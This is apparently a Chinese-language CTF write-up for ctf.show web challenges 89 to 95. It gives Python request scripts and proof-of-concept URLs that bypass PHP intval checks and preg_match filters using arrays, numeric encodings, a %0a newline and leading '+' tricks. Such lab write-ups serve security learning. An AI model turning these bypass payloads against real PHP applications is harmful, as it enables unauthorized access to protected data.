web 89
数组绕过
import requests
url = "http://5f87330e-11a0-42ed-9e1d-a249303bcd28.challenge.ctf.show/"
# 使用数组绕过
payloads = [
{"num[]": "a"}, # 数组形式
{"num": []}, # 空数组
{"num[a]": "b"}, # 关联数组
{"num": {}}, # 空对象
{"num[]": "true"}, # 布尔数组
]
for payload in payloads:
response = requests.get(url, params=payload)
print(f"Testing payload: {payload}")
print(f"Response: {response.text}")
if "ctfshow{" in response.text:
print(f"Found flag with payload: {payload}")
print(f"Flag: {response.text}")
break
web 89
import requests url = "http://362cbf68-ac9a-4989-ac3e-cfc2c678804e.challenge.ctf.show/" payloads = [ "0x117c", # 十六进制: 4476 "010574", # 八进制: 4476 "4476e0", # 科学计数法 "4476.0", # 浮点数 "0b1000101111100" # 二进制: 4476 ] for payload in payloads: params = {"num": payload} response = requests.get(url, params=params) print(f"Testing payload: {payload}") print(f"Response: {response.text}") if "ctfshow{" in response.text: print(f"Found flag with payload: {payload}") print(f"Flag: {response.text}") break #https://362cbf68-ac9a-4989-ac3e-cfc2c678804e.challenge.ctf.show/?num=0x117c
web90
https://785b5349-56a9-4159-a1db-ce8078f10cde.challenge.ctf.show/?cmd=php%0aflag
$a=$_GET['cmd']; // 从 GET 请求获取 cmd 参数 if(preg_match('/^php$/im', $a)){ // 第一个正则匹配 if(preg_match('/^php$/i', $a)){ // 第二个正则匹配 echo 'hacker'; // 如果两个都匹配,输出 'hacker' } else{ echo $flag; // 如果只匹配第一个,输出 flag } } else{ echo 'nonononono'; // 如果第一个都不匹配,输出 'nonononono' }
根据代码的介绍值要第一个匹配就可以实现绕过
但是\n 是不行的 php\nflag 回显是nononono
后面看到一篇文章引用
https://blog.csdn.net/qq_46091464/article/details/108278486
这里介绍了\n等于%0a
- 可以绕过
web 92
弱类型比较
因为有
if(intval($num,0)==4476){
存在所以我们只要在后面加一个.1
为啥不用.0
- 4476.0 在弱类型比较时会被视为等于 4476
- 4476.1 在弱类型比较时不等于 4476,但 intval() 后等于 4476
web93
和web92一样的
31980361-a06f-4938-b584-5864c25f92c0.challenge.ctf.show/?num=4476.1
直接获得了flag
web94
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ // 条件1:不能严格等于"4476" die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ // 条件2:不能包含字母 die("no no no!"); } if(!strpos($num, "0")){ // 条件3:必须包含字符"0" die("no no no!"); } if(intval($num,0)===4476){ // 条件4:转换后必须严格等于4476 echo $flag; } }
通过代码分析我们可以直到这次是要有0存在的
我们只要在上一题的4476.1后面加一个0
poc
https://d23de3d3-6f96-4d7a-b3c8-0a5a35cfa110.challenge.ctf.show/?num=4476.10
web95
可以通过+号进行过绕过
- PHP 的数字解析规则:
- 当字符串以 0 开头时,PHP 会将其视为八进制数
- 但如果这个字符串是一个纯数字字符串,可能会被当作十进制处理
https://46581d3b-d8df-4c5d-bb57-59f63019baf3.challenge.ctf.show/?num=+010574